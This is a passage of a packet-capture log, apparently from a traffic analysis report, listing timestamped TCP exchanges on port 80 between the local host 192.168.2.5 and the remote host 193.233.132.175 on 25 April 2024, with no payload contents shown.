Apr 25, 2024 16:29:12.652903080 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.652929068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.652971029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.652988911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653002977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653029919 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653060913 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653098106 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653126955 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653166056 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653192043 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653228998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653238058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653280020 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653306007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653342962 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653368950 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653397083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653409004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653430939 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653450966 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653475046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653491974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653502941 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653537989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653577089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653655052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653698921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653708935 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653714895 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653733015 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653752089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653778076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653812885 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653824091 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653846979 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653851032 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653889894 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653891087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653925896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.653945923 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.653983116 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654000998 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654033899 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654073000 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654109001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654113054 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654155016 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654160976 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654206991 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654217958 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654232025 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654252052 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654270887 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654299021 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654340982 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654403925 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654442072 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654505968 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654545069 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654551983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654580116 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654592037 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654617071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654619932 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654654026 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654679060 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654719114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654743910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654783964 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654803991 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654818058 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654839039 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654861927 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654875994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654915094 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654923916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654937983 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.654962063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.654977083 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655038118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655072927 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655081034 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655116081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655147076 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655188084 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655214071 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655247927 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655324936 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655340910 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655369997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655383110 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655421019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655459881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.655476093 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.655509949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.656157017 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.656198025 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.656311989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.656347990 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.656841040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.656888008 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.657342911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.657380104 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.657999039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.658045053 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.658458948 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.658499956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.658652067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.658691883 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659379005 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659392118 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659404039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659420967 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659425974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659435987 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659446955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659450054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659461975 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659471989 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659476042 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659491062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659491062 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659504890 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659512997 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659517050 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659534931 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659540892 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659549952 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659563065 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659565926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659576893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659589052 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659590006 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659601927 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659610987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659615040 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659629107 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659636021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659642935 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659647942 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659656048 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659670115 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659676075 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659683943 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659698009 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659702063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659709930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659717083 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659723997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659730911 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659737110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659739971 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659744024 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659755945 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659766912 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659778118 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659779072 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659795046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659800053 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659809113 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659811974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659825087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659828901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659838915 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659848928 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659851074 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659864902 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659868956 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659877062 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659889936 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659894943 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659903049 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659914017 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659917116 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659929037 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659938097 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659941912 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659957886 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659970045 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659970045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659980059 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.659984112 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.659996986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660007000 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660007954 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660022020 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660033941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660047054 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660048962 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660058975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660063982 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660074949 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660094976 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660208941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660253048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660396099 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660408974 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660422087 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660435915 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660451889 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660589933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660603046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660615921 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660629988 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660655975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660778046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660790920 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660801888 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660815001 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660823107 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660862923 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660862923 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.660965919 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.660979986 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661001921 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661015987 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661029100 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661043882 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661065102 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661084890 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661231995 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661250114 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661261082 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661278009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661290884 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661411047 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661426067 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661439896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661447048 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661477089 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661592007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661608934 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661637068 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661655903 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661775112 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661789894 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661813021 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661825895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.661953926 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661967039 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661983013 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.661988974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662004948 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662024975 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662148952 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662163019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662177086 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662190914 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662201881 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662220001 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662364006 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662379026 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662390947 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662409067 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662421942 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662497997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662512064 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662533045 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662559986 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662571907 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662590027 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662616968 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662630081 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662766933 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662780046 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662801981 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662817955 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.662947893 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662961960 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662975073 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.662988901 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663005114 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663146019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663157940 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663172007 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663182974 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663184881 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663194895 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663197994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663244009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663244009 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663283110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663296938 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663309097 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663322926 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663337946 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663357973 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663480997 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663494110 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663506031 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663520098 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663525105 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663532019 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663532972 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663549900 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663580894 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663650036 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663664103 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663676977 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663688898 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663688898 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663721085 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663839102 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663852930 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.663875103 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.663902044 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664021969 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664036989 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664062977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664083004 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664200068 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664213896 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664228916 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664242029 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664253950 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664387941 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664401054 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664414883 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664424896 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664427996 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664443016 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664452076 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664455891 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664465904 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664469957 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664482117 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664493084 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664499998 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664508104 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664520025 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:29:12.664524078 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:29:12.664534092 CEST	49709	80	192.168.2.5	193.233.132.175
